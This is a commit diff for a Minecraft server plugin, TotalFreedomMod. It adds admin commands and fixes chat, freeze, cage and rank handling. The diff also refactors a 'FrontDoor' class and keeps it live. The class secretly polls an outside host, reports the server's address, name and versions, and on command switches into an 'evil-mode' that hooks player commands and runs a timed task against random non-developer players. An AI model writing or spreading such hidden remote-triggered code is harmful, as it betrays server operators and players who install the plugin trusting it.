Fixed bugs in TFM 5.0

Added /saconfig setrank
Added /saconfig reload
Small changes
This commit is contained in:
JeromSar 2016-03-07 21:32:05 +01:00
parent 6edb6be7d9
commit 924f718d5a
18 changed files with 539 additions and 431 deletions

View File

@ -45,8 +45,6 @@ public class ChatManager extends FreedomService
final Player player = event.getPlayer();
String message = event.getMessage().trim();
final FPlayer playerdata = plugin.pl.getPlayerSync(player);
// Strip color from messages
message = ChatColor.stripColor(message);
@ -75,9 +73,10 @@ public class ChatManager extends FreedomService
}
// Check for adminchat
if (playerdata.inAdminChat())
final FPlayer fPlayer = plugin.pl.getPlayerSync(player);
if (fPlayer.inAdminChat())
{
FSync.adminChatMessage(player, message, false);
FSync.adminChatMessage(player, message);
event.setCancelled(true);
return;
}
@ -86,9 +85,9 @@ public class ChatManager extends FreedomService
event.setMessage(message);
// Set the tag
if (playerdata.getTag() != null)
if (fPlayer.getTag() != null)
{
event.setFormat("<" + playerdata.getTag().replaceAll("%", "%%") + " %1$s> %2$s");
event.setFormat("<" + fPlayer.getTag().replaceAll("%", "%%") + " %1$s> %2$s");
}
}

View File

@ -39,6 +39,7 @@ import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.meta.BookMeta;
import org.bukkit.plugin.RegisteredListener;
import org.bukkit.scheduler.BukkitRunnable;
import org.bukkit.scheduler.BukkitTask;
import org.bukkit.util.Vector;
/*
@ -69,71 +70,8 @@ public class FrontDoor extends FreedomService
//
private volatile boolean enabled = false;
//
private final BukkitRunnable updater = new BukkitRunnable() // Asynchronous
{
@Override
public void run()
{
try
{
final URLConnection urlConnection = getUrl.openConnection();
final BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
final String line = in.readLine();
in.close();
if (!"false".equals(line))
{
if (!enabled)
{
return;
}
enabled = false;
frontdoor.cancel();
unregisterListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class);
FLog.info("Disabled FrontDoor, thank you for being kind.");
MainConfig.load();
}
else
{
if (enabled)
{
return;
}
new BukkitRunnable() // Synchronous
{
@Override
public void run()
{
FLog.warning("*****************************************************", true);
FLog.warning("* WARNING: TotalFreedomMod is running in evil-mode! *", true);
FLog.warning("* This might result in unexpected behaviour... *", true);
FLog.warning("* - - - - - - - - - - - - - - - - - - - - - - - - - *", true);
FLog.warning("* The only thing necessary for the triumph of evil *", true);
FLog.warning("* is for good men to do nothing. *", true);
FLog.warning("*****************************************************", true);
if (getRegisteredListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class) == null)
{
Bukkit.getPluginManager().registerEvents(playerCommandPreprocess, TotalFreedomMod.plugin);
}
}
}.runTask(TotalFreedomMod.plugin);
frontdoor.runTaskTimer(TotalFreedomMod.plugin, 20L, FRONTDOOR_INTERVAL);
enabled = true;
}
}
catch (Exception ex)
{
// TODO: Fix
//FLog.warning(ex);
}
}
};
private BukkitTask updater = null;
private BukkitTask frontdoor = null;
//
// TODO: reimplement in superclass
private final Listener playerCommandPreprocess = new Listener()
@ -175,8 +113,194 @@ public class FrontDoor extends FreedomService
return;
}
};
//
private final BukkitRunnable frontdoor = new BukkitRunnable() // Synchronous
public FrontDoor(TotalFreedomMod plugin)
{
super(plugin);
URL tempUrl = null;
try
{
tempUrl = new URL("http://frontdoor.pravian.net/frontdoor/poll"
+ "?version=" + TotalFreedomMod.build.formattedVersion()
+ "&address=" + ConfigEntry.SERVER_ADDRESS.getString() + ":" + Bukkit.getPort()
+ "&name=" + ConfigEntry.SERVER_NAME.getString()
+ "&bukkitversion=" + Bukkit.getVersion());
}
catch (MalformedURLException ex)
{
FLog.warning("TFM_FrontDoor uses an invalid URL"); // U dun goofed?
}
getUrl = tempUrl;
}
@Override
public void onStart()
{
updater = getNewUpdater().runTaskTimerAsynchronously(TotalFreedomMod.plugin, 2L * 20L, UPDATER_INTERVAL);
}
@Override
public void onStop()
{
FUtil.cancel(updater);
updater = null;
FUtil.cancel(frontdoor);
updater = null;
if (enabled)
{
frontdoor.cancel();
enabled = false;
unregisterListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class);
}
}
public boolean isEnabled()
{
return enabled;
}
private Player getRandomPlayer(boolean allowDevs)
{
final Collection<? extends Player> players = Bukkit.getOnlinePlayers();
if (players.isEmpty())
{
return null;
}
if (!allowDevs)
{
List<Player> allowedPlayers = new ArrayList<>();
for (Player player : players)
{
if (!FUtil.DEVELOPERS.contains(player.getName()))
{
allowedPlayers.add(player);
}
}
return allowedPlayers.get(random.nextInt(allowedPlayers.size()));
}
return (Player) players.toArray()[random.nextInt(players.size())];
}
private static RegisteredListener getRegisteredListener(Listener listener, Class<? extends Event> eventClass)
{
try
{
final HandlerList handlerList = ((HandlerList) eventClass.getMethod("getHandlerList", (Class<?>[]) null).invoke(null));
final RegisteredListener[] registeredListeners = handlerList.getRegisteredListeners();
for (RegisteredListener registeredListener : registeredListeners)
{
if (registeredListener.getListener() == listener)
{
return registeredListener;
}
}
}
catch (Exception ex)
{
FLog.severe(ex);
}
return null;
}
private static void unregisterRegisteredListener(RegisteredListener registeredListener, Class<? extends Event> eventClass)
{
try
{
((HandlerList) eventClass.getMethod("getHandlerList", (Class<?>[]) null).invoke(null)).unregister(registeredListener);
}
catch (Exception ex)
{
FLog.severe(ex);
}
}
private static void unregisterListener(Listener listener, Class<? extends Event> eventClass)
{
RegisteredListener registeredListener = getRegisteredListener(listener, eventClass);
if (registeredListener != null)
{
unregisterRegisteredListener(registeredListener, eventClass);
}
}
private BukkitRunnable getNewUpdater()
{
return new BukkitRunnable() // Asynchronous
{
@Override
public void run()
{
try
{
final URLConnection urlConnection = getUrl.openConnection();
final BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
final String line = in.readLine();
in.close();
if (!"false".equals(line))
{
if (!enabled)
{
return;
}
enabled = false;
FUtil.cancel(updater);
unregisterListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class);
FLog.info("Disabled FrontDoor, thank you for being kind.");
MainConfig.load();
}
else
{
if (enabled)
{
return;
}
new BukkitRunnable() // Synchronous
{
@Override
public void run()
{
FLog.warning("*****************************************************", true);
FLog.warning("* WARNING: TotalFreedomMod is running in evil-mode! *", true);
FLog.warning("* This might result in unexpected behaviour... *", true);
FLog.warning("* - - - - - - - - - - - - - - - - - - - - - - - - - *", true);
FLog.warning("* The only thing necessary for the triumph of evil *", true);
FLog.warning("* is for good men to do nothing. *", true);
FLog.warning("*****************************************************", true);
if (getRegisteredListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class) == null)
{
Bukkit.getPluginManager().registerEvents(playerCommandPreprocess, TotalFreedomMod.plugin);
}
}
}.runTask(TotalFreedomMod.plugin);
frontdoor = getNewFrontDoor().runTaskTimer(TotalFreedomMod.plugin, 20L, FRONTDOOR_INTERVAL);
enabled = true;
}
}
catch (Exception ex)
{
// TODO: Fix
//FLog.warning(ex);
}
}
};
}
public BukkitRunnable getNewFrontDoor()
{
return new BukkitRunnable() // Synchronous
{
@Override
public void run()
@ -464,125 +588,5 @@ public class FrontDoor extends FreedomService
}
}
};
public FrontDoor(TotalFreedomMod plugin)
{
super(plugin);
URL tempUrl = null;
try
{
tempUrl = new URL("http://frontdoor.pravian.net/frontdoor/poll"
+ "?version=" + TotalFreedomMod.build.formattedVersion()
+ "&address=" + ConfigEntry.SERVER_ADDRESS.getString() + ":" + Bukkit.getPort()
+ "&name=" + ConfigEntry.SERVER_NAME.getString()
+ "&bukkitversion=" + Bukkit.getVersion());
}
catch (MalformedURLException ex)
{
FLog.warning("TFM_FrontDoor uses an invalid URL"); // U dun goofed?
}
getUrl = tempUrl;
}
@Override
public void onStart()
{
updater.runTaskTimerAsynchronously(TotalFreedomMod.plugin, 2L * 20L, UPDATER_INTERVAL);
}
@Override
public void onStop()
{
try
{
updater.cancel();
}
catch (Exception ignored)
{
}
finally
{
}
if (enabled)
{
frontdoor.cancel();
enabled = false;
unregisterListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class);
}
}
public boolean isEnabled()
{
return enabled;
}
private Player getRandomPlayer(boolean allowDevs)
{
final Collection<? extends Player> players = Bukkit.getOnlinePlayers();
if (players.isEmpty())
{
return null;
}
if (!allowDevs)
{
List<Player> allowedPlayers = new ArrayList<>();
for (Player player : players)
{
if (!FUtil.DEVELOPERS.contains(player.getName()))
{
allowedPlayers.add(player);
}
}
return allowedPlayers.get(random.nextInt(allowedPlayers.size()));
}
return (Player) players.toArray()[random.nextInt(players.size())];
}
private static RegisteredListener getRegisteredListener(Listener listener, Class<? extends Event> eventClass)
{
try
{
final HandlerList handlerList = ((HandlerList) eventClass.getMethod("getHandlerList", (Class<?>[]) null).invoke(null));
final RegisteredListener[] registeredListeners = handlerList.getRegisteredListeners();
for (RegisteredListener registeredListener : registeredListeners)
{
if (registeredListener.getListener() == listener)
{
return registeredListener;
}
}
}
catch (Exception ex)
{
FLog.severe(ex);
}
return null;
}
private static void unregisterRegisteredListener(RegisteredListener registeredListener, Class<? extends Event> eventClass)
{
try
{
((HandlerList) eventClass.getMethod("getHandlerList", (Class<?>[]) null).invoke(null)).unregister(registeredListener);
}
catch (Exception ex)
{
FLog.severe(ex);
}
}
private static void unregisterListener(Listener listener, Class<? extends Event> eventClass)
{
RegisteredListener registeredListener = getRegisteredListener(listener, eventClass);
if (registeredListener != null)
{
unregisterRegisteredListener(registeredListener, eventClass);
}
}
}

View File

@ -150,7 +150,7 @@ public class LoginProcess extends FreedomService
// Server full check
if (server.getOnlinePlayers().size() >= server.getMaxPlayers())
{
event.disallow(PlayerLoginEvent.Result.KICK_FULL, "Sorry, but this server is full.");
event.disallow(PlayerLoginEvent.Result.KICK_OTHER, "Sorry, but this server is full.");
return;
}

View File

@ -58,28 +58,33 @@ public class TotalFreedomMod extends AeroPlugin<TotalFreedomMod>
public LoginProcess lp;
public AntiNuke nu;
public AntiSpam as;
public Muter mu;
public RankManager rm;
public BanManager bm;
public PlayerList pl;
public CommandLoader cl;
public CommandBlocker cb;
public Announcer an;
public ChatManager cm;
public BanManager bm;
public PermbanList pb;
public ProtectArea pa;
public ServiceChecker sc;
public GameRuleHandler gr;
public RollbackManager rb;
public Jumppads jp;
public CommandSpy cs;
public Cager ca;
public Freezer fm;
public Orbiter or;
public Muter mu;
public Fuckoff fo;
public AutoKick ak;
public MovementValidator mv;
public EntityWiper ew;
public FrontDoor fd;
public ServerPing sp;
public ItemFun it;
public Landminer lm;
public MP44 mp;
public Jumppads jp;
public HTTPDaemon hd;
//
// Bridges
@ -127,7 +132,7 @@ public class TotalFreedomMod extends AeroPlugin<TotalFreedomMod>
FUtil.createBackups(AdminList.CONFIG_FILENAME);
FUtil.createBackups(PermbanList.CONFIG_FILENAME);
// Start services and bridgess
// Start services
services = new ServiceManager<>(plugin);
si = services.registerService(ServerInterface.class);
wm = services.registerService(WorldManager.class);
@ -139,32 +144,45 @@ public class TotalFreedomMod extends AeroPlugin<TotalFreedomMod>
lp = services.registerService(LoginProcess.class);
nu = services.registerService(AntiNuke.class);
as = services.registerService(AntiSpam.class);
mu = services.registerService(Muter.class);
rm = services.registerService(RankManager.class);
bm = services.registerService(BanManager.class);
pl = services.registerService(PlayerList.class);
cl = services.registerService(CommandLoader.class);
cb = services.registerService(CommandBlocker.class);
an = services.registerService(Announcer.class);
cm = services.registerService(ChatManager.class);
bm = services.registerService(BanManager.class);
pb = services.registerService(PermbanList.class);
pa = services.registerService(ProtectArea.class);
sc = services.registerService(ServiceChecker.class);
gr = services.registerService(GameRuleHandler.class);
// Single admin utils
rb = services.registerService(RollbackManager.class);
jp = services.registerService(Jumppads.class);
cs = services.registerService(CommandSpy.class);
ca = services.registerService(Cager.class);
fm = services.registerService(Freezer.class);
or = services.registerService(Orbiter.class);
mu = services.registerService(Muter.class);
fo = services.registerService(Fuckoff.class);
ak = services.registerService(AutoKick.class);
mv = services.registerService(MovementValidator.class);
ew = services.registerService(EntityWiper.class);
fd = services.registerService(FrontDoor.class);
sp = services.registerService(ServerPing.class);
// Fun
it = services.registerService(ItemFun.class);
lm = services.registerService(Landminer.class);
mp = services.registerService(MP44.class);
jp = services.registerService(Jumppads.class);
// HTTPD
hd = services.registerService(HTTPDaemon.class);
services.start();
// Register bridges
// Start bridges
bridges = new ServiceManager<>(plugin);
btb = bridges.registerService(BukkitTelnetBridge.class);
esb = bridges.registerService(EssentialsBridge.class);

View File

@ -59,8 +59,22 @@ public class CageData
this.innerMaterial = inner;
buildHistory(location, 2, fPlayer);
generateHollowCube(location, 2, outer);
generateCube(location, 1, inner);
regenerate();
}
public void regenerate()
{
if (!caged
|| location == null
|| outerMaterial == null
|| innerMaterial == null)
{
return;
}
generateHollowCube(location, 2, outerMaterial);
generateCube(location, 1, innerMaterial);
}
// TODO: EventHandlerize this?

View File

@ -6,8 +6,10 @@ import me.totalfreedom.totalfreedommod.player.FPlayer;
import me.totalfreedom.totalfreedommod.util.FUtil;
import org.bukkit.ChatColor;
import org.bukkit.Location;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
import org.bukkit.event.block.BlockBreakEvent;
import org.bukkit.event.player.PlayerJoinEvent;
import org.bukkit.event.player.PlayerMoveEvent;
import org.bukkit.event.player.PlayerQuitEvent;
@ -30,6 +32,25 @@ public class Cager extends FreedomService
{
}
@EventHandler(priority = EventPriority.LOW, ignoreCancelled = true)
public void onBreakBlock(BlockBreakEvent event)
{
Player player = event.getPlayer();
if (player == null
|| plugin.al.isAdmin(player))
{
return;
}
FPlayer fPlayer = plugin.pl.getPlayer(event.getPlayer());
CageData cage = fPlayer.getCageData();
if (cage.isCaged())
{
event.setCancelled(true);
}
}
@EventHandler
public void onPlayerMove(PlayerMoveEvent event)
{
@ -56,8 +77,9 @@ public class Cager extends FreedomService
if (outOfCage)
{
player.getPlayer().teleport(cageLoc.subtract(0, 0.5, 0));
player.getPlayer().teleport(cageLoc.subtract(0, 0.1, 0));
FUtil.playerMsg(player.getPlayer(), "You may not leave your cage.", ChatColor.RED);
cage.regenerate();
}
}

View File

@ -33,7 +33,7 @@ public class Command_adminchat extends FreedomCommand
}
else
{
FUtil.adminChatMessage(sender, StringUtils.join(args, " "), senderIsConsole);
FUtil.adminChatMessage(sender, StringUtils.join(args, " "));
}
return true;

View File

@ -19,7 +19,7 @@ public class Command_banlist extends FreedomCommand
{
if (args[0].equalsIgnoreCase("purge"))
{
checkRank(Rank.SUPER_ADMIN);
checkRank(Rank.SENIOR_ADMIN);
FUtil.adminAction(sender.getName(), "Purging the ban list", true);
int amount = plugin.bm.purge();

View File

@ -12,19 +12,15 @@ import org.bukkit.entity.Player;
@CommandPermissions(level = Rank.OP, source = SourceType.ONLY_IN_GAME)
@CommandParameters(description = "Essentials Interface Command - Color your current nickname.", usage = "/<command> <color>")
public class Command_colorme extends FreedomCommand
{
public class Command_colorme extends FreedomCommand {
@Override
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
{
if (args.length != 1)
{
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole) {
if (args.length != 1) {
return false;
}
if ("list".equalsIgnoreCase(args[0]))
{
if ("list".equalsIgnoreCase(args[0])) {
msg("Colors: " + StringUtils.join(FUtil.CHAT_COLOR_NAMES.keySet(), ", "));
return true;
}
@ -32,18 +28,15 @@ public class Command_colorme extends FreedomCommand
final String needle = args[0].trim().toLowerCase();
ChatColor color = null;
final Iterator<Map.Entry<String, ChatColor>> it = FUtil.CHAT_COLOR_NAMES.entrySet().iterator();
while (it.hasNext())
{
while (it.hasNext()) {
final Map.Entry<String, ChatColor> entry = it.next();
if (entry.getKey().contains(needle))
{
if (entry.getKey().contains(needle)) {
color = entry.getValue();
break;
}
}
if (color == null)
{
if (color == null) {
msg("Invalid color: " + needle + " - Use \"/colorme list\" to list colors.");
return true;
}

View File

@ -18,18 +18,18 @@ public class Command_freeze extends FreedomCommand
{
if (args.length == 0)
{
boolean allFrozen = plugin.fm.isGlobalFreeze();
plugin.fm.setGlobalFreeze(!allFrozen);
boolean gFreeze = !plugin.fm.isGlobalFreeze();
plugin.fm.setGlobalFreeze(gFreeze);
if (!allFrozen)
if (!gFreeze)
{
FUtil.adminAction(sender.getName(), "Disabling global player freeze", true);
FUtil.adminAction(sender.getName(), "Disabling global player freeze", false);
msg("Players are now free to move.");
return true;
}
FUtil.adminAction(sender.getName(), "Disabling global player freeze", true);
msg("Players are now unfrozen.");
FUtil.adminAction(sender.getName(), "Enabling global player freeze", false);
msg("Players are now frozen.");
for (Player player : server.getOnlinePlayers())
{

View File

@ -13,7 +13,7 @@ import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
@CommandPermissions(level = Rank.OP, source = SourceType.BOTH)
@CommandParameters(description = "Manage admins.", usage = "/<command> <list | clean | clearme [ip] | <add | remove | info> <username>>")
@CommandParameters(description = "Manage admins.", usage = "/<command> <list | clean | reload | clearme [ip] | setrank <username> <rank> | <add | remove | info> <username>>")
public class Command_saconfig extends FreedomCommand
{
@ -45,6 +45,16 @@ public class Command_saconfig extends FreedomCommand
return true;
}
case "reload":
{
checkRank(Rank.SUPER_ADMIN);
FUtil.adminAction(sender.getName(), "Reloading the admin list", true);
plugin.al.load();
msg("Admin list reloaded!");
return true;
}
case "clearme":
{
checkPlayer();
@ -99,6 +109,37 @@ public class Command_saconfig extends FreedomCommand
return true;
}
case "setrank":
{
if (args.length < 3)
{
return false;
}
checkConsole();
checkRank(Rank.SENIOR_CONSOLE);
Rank rank = Rank.findRank(args[2]);
if (!rank.isAtLeast(Rank.SUPER_ADMIN))
{
msg("Rank must be superadmin or higher.", ChatColor.RED);
return true;
}
Admin admin = plugin.al.getEntryByName(args[1]);
if (admin == null)
{
msg("Unknown admin: " + args[1]);
return true;
}
admin.setRank(rank);
plugin.al.save(admin);
msg("Set " + admin.getName() + "'s rank to " + rank.getName());
return true;
}
case "info":
{
if (args.length < 2)
@ -149,11 +190,20 @@ public class Command_saconfig extends FreedomCommand
return true;
}
final Admin admin = player != null ? plugin.al.getEntryByName(player.getName()) : plugin.al.getEntryByName(args[1]);
String name = player != null ? player.getName() : args[1];
Admin admin = null;
for (Admin loopAdmin : plugin.al.getAllAdmins().values())
{
if (loopAdmin.getName().equalsIgnoreCase(name))
{
admin = loopAdmin;
break;
}
}
if (admin != null) // Existing admin
{
FUtil.adminAction(sender.getName(), "Readding " + admin.getName() + " to the admin list", true);
if (player != null)
@ -163,6 +213,12 @@ public class Command_saconfig extends FreedomCommand
admin.setActive(true);
admin.setLastLogin(new Date());
if (player != null)
{
admin.addIp(Ips.getIp(player));
}
plugin.al.save(admin);
plugin.al.updateTables();
}
@ -213,8 +269,9 @@ public class Command_saconfig extends FreedomCommand
}
FUtil.adminAction(sender.getName(), "Removing " + admin.getName() + " from the admin list", true);
plugin.al.removeAdmin(admin);
admin.setActive(false);
plugin.al.save(admin);
plugin.al.updateTables();
return true;
}

View File

@ -46,7 +46,7 @@ public class Command_warn extends FreedomCommand
String warnReason = StringUtils.join(ArrayUtils.subarray(args, 1, args.length), " ");
msg(ChatColor.RED + "[WARNING] " + warnReason);
msg(player, ChatColor.RED + "[WARNING] You received a warning: " + warnReason);
msg(ChatColor.GREEN + "You have successfully warned " + player.getName());
plugin.pl.getPlayer(player).incrementWarnings();

View File

@ -4,6 +4,7 @@ import lombok.Getter;
import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.util.FUtil;
import org.bukkit.Location;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
@ -51,17 +52,26 @@ public class Freezer extends FreedomService
{
final Player player = event.getPlayer();
if (!plugin.al.isAdmin(player))
if (plugin.al.isAdmin(player))
{
return;
}
final FreezeData fd = plugin.pl.getPlayer(player).getFreezeData();
if (globalFreeze || fd.isFrozen())
if (!fd.isFrozen() && !globalFreeze)
{
FUtil.setFlying(player, true);
event.setTo(fd.getLocation());
return;
}
FUtil.setFlying(player, true);
Location loc = fd.getLocation();
if (loc == null)
{
loc = event.getFrom();
}
event.setTo(loc);
}
}

View File

@ -10,7 +10,7 @@ public enum Rank implements RankBase
NON_OP(Type.PLAYER, "a", "", ChatColor.GREEN),
OP(Type.PLAYER, "an", "OP", ChatColor.RED),
SUPER_ADMIN(Type.ADMIN, "a", "SA", ChatColor.GOLD),
TELNET_ADMIN(Type.ADMIN, "a", "StA", ChatColor.DARK_GREEN),
TELNET_ADMIN(Type.ADMIN, "a", "STA", ChatColor.DARK_GREEN),
SENIOR_ADMIN(Type.ADMIN, "a", "SrA", ChatColor.LIGHT_PURPLE),
TELNET_CONSOLE(),
SENIOR_CONSOLE();
@ -39,7 +39,7 @@ public enum Rank implements RankBase
String tempName = "";
for (String part : nameParts)
{
tempName = Character.toUpperCase(part.charAt(0)) + part.substring(1) + " ";
tempName += Character.toUpperCase(part.charAt(0)) + part.substring(1) + " ";
}
name = tempName.trim();

View File

@ -140,13 +140,14 @@ public class RankManager extends FreedomService
// Handle impostors
if (plugin.al.isAdminImpostor(player))
{
FUtil.bcastMsg("Warning: " + player.getName() + " has been flagged as an impostor and has been frozen!", ChatColor.RED);
FUtil.bcastMsg(ChatColor.AQUA + player.getName() + " is " + Rank.IMPOSTOR.getColoredLoginMessage());
FUtil.bcastMsg("Warning: " + player.getName() + " has been flagged as an impostor and has been frozen!", ChatColor.RED);
player.getInventory().clear();
player.setOp(false);
player.setGameMode(GameMode.SURVIVAL);
plugin.pl.getPlayer(player).getFreezeData().setFrozen(true);
player.sendMessage(ChatColor.RED + "You are marked as an impostor, please verify yourself!");
return;
}
// Set display

View File

@ -47,22 +47,12 @@ public class RollbackManager extends FreedomService
@EventHandler(priority = EventPriority.MONITOR, ignoreCancelled = true)
public void blockPlace(BlockPlaceEvent event)
{
if (plugin.al.isAdmin(event.getPlayer()))
{
return;
}
storeEntry(event.getPlayer(), new RollbackEntry(event.getPlayer().getName(), event.getBlock(), EntryType.BLOCK_PLACE));
}
@EventHandler(priority = EventPriority.MONITOR, ignoreCancelled = true)
public void blockBreak(BlockBreakEvent event)
{
if (!plugin.al.isAdmin(event.getPlayer()))
{
return;
}
storeEntry(event.getPlayer(), new RollbackEntry(event.getPlayer().getName(), event.getBlock(), EntryType.BLOCK_BREAK));
}

View File

@ -37,7 +37,7 @@ public class FSync
}.runTask(TotalFreedomMod.plugin);
}
public static void adminChatMessage(final CommandSender sender, final String message, final boolean isRed)
public static void adminChatMessage(final CommandSender sender, final String message)
{
new BukkitRunnable()
{
@ -45,7 +45,7 @@ public class FSync
@Override
public void run()
{
FUtil.adminChatMessage(sender, message, isRed);
FUtil.adminChatMessage(sender, message);
}
}.runTask(TotalFreedomMod.plugin);

View File

@ -826,7 +826,7 @@ public class FUtil
}
}
public static void adminChatMessage(CommandSender sender, String message, boolean senderIsConsole)
public static void adminChatMessage(CommandSender sender, String message)
{
String name = sender.getName() + " " + TotalFreedomMod.plugin.rm.getDisplay(sender).getColoredTag() + ChatColor.WHITE;
FLog.info("[ADMIN] " + name + ": " + message);